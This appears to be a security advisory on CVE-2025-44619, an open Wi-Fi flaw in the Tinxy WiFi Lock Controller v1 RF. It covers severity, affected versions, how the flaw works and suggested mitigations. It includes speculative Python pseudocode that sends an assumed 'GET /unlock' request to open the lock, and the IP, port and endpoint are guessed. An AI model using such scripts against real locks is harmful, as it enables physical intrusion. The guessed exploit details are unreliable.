Overview
The Tinxy WiFi Lock Controller v1 RF, a widely used smart lock solution, has been discovered to have a critical vulnerability, labeled as CVE-2025-44619. This vulnerability has a significant impact on both individual users and organizations that have incorporated this smart lock technology into their security systems. The vulnerability allows attackers to join the lock’s Wi-Fi network without any form of authentication, potentially leading to system compromise or data leakage.
The importance of this vulnerability cannot be overstressed. In a world where IoT devices permeate every corner of our lives and businesses, ensuring these devices are secure is paramount. This vulnerability exposes users and organizations to potential unlawful access and data breaches, which could have dire consequences.
Vulnerability Summary
CVE ID: CVE-2025-44619
Severity: Critical (9.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage
Affected Products
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Product | Affected Versions
Tinxy WiFi Lock Controller v1 RF | All versions
How the Exploit Works
The Tinxy WiFi Lock Controller v1 RF is configured to transmit over an open Wi-Fi network. Given that no authentication is required to join the network, an attacker can easily connect to the network, gain access to the lock controller, and potentially manipulate the lock’s status. Furthermore, if the lock controller is integrated into a broader security or IoT system, the attacker could potentially compromise the entire system or leak sensitive data.
Conceptual Example Code
The vulnerability might be exploited by sending specific packets to the lock controller after joining the Wi-Fi network. An example of this might look like the following pseudocode:
import socket
# Join the open WiFi network
connect_to_wifi('TinxyLockNetwork')
# Assume the lock controller's IP is known or discoverable
target_ip = '192.168.1.100'
target_port = 80 # Assume the lock controller runs a HTTP server
# Create a socket object
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the lock controller
sock.connect((target_ip, target_port))
# Send a malicious packet to unlock the door
sock.send(b'GET /unlock HTTP/1.1\r\nHost: ' + target_ip.encode() + b'\r\n\r\n')
# Close the connection
sock.close()Mitigations
Until a vendor patch is released, it is recommended to implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation to monitor and control network traffic to the lock controller. Regularly monitor the network for any unusual activities, and disconnect the device from the network when not in use.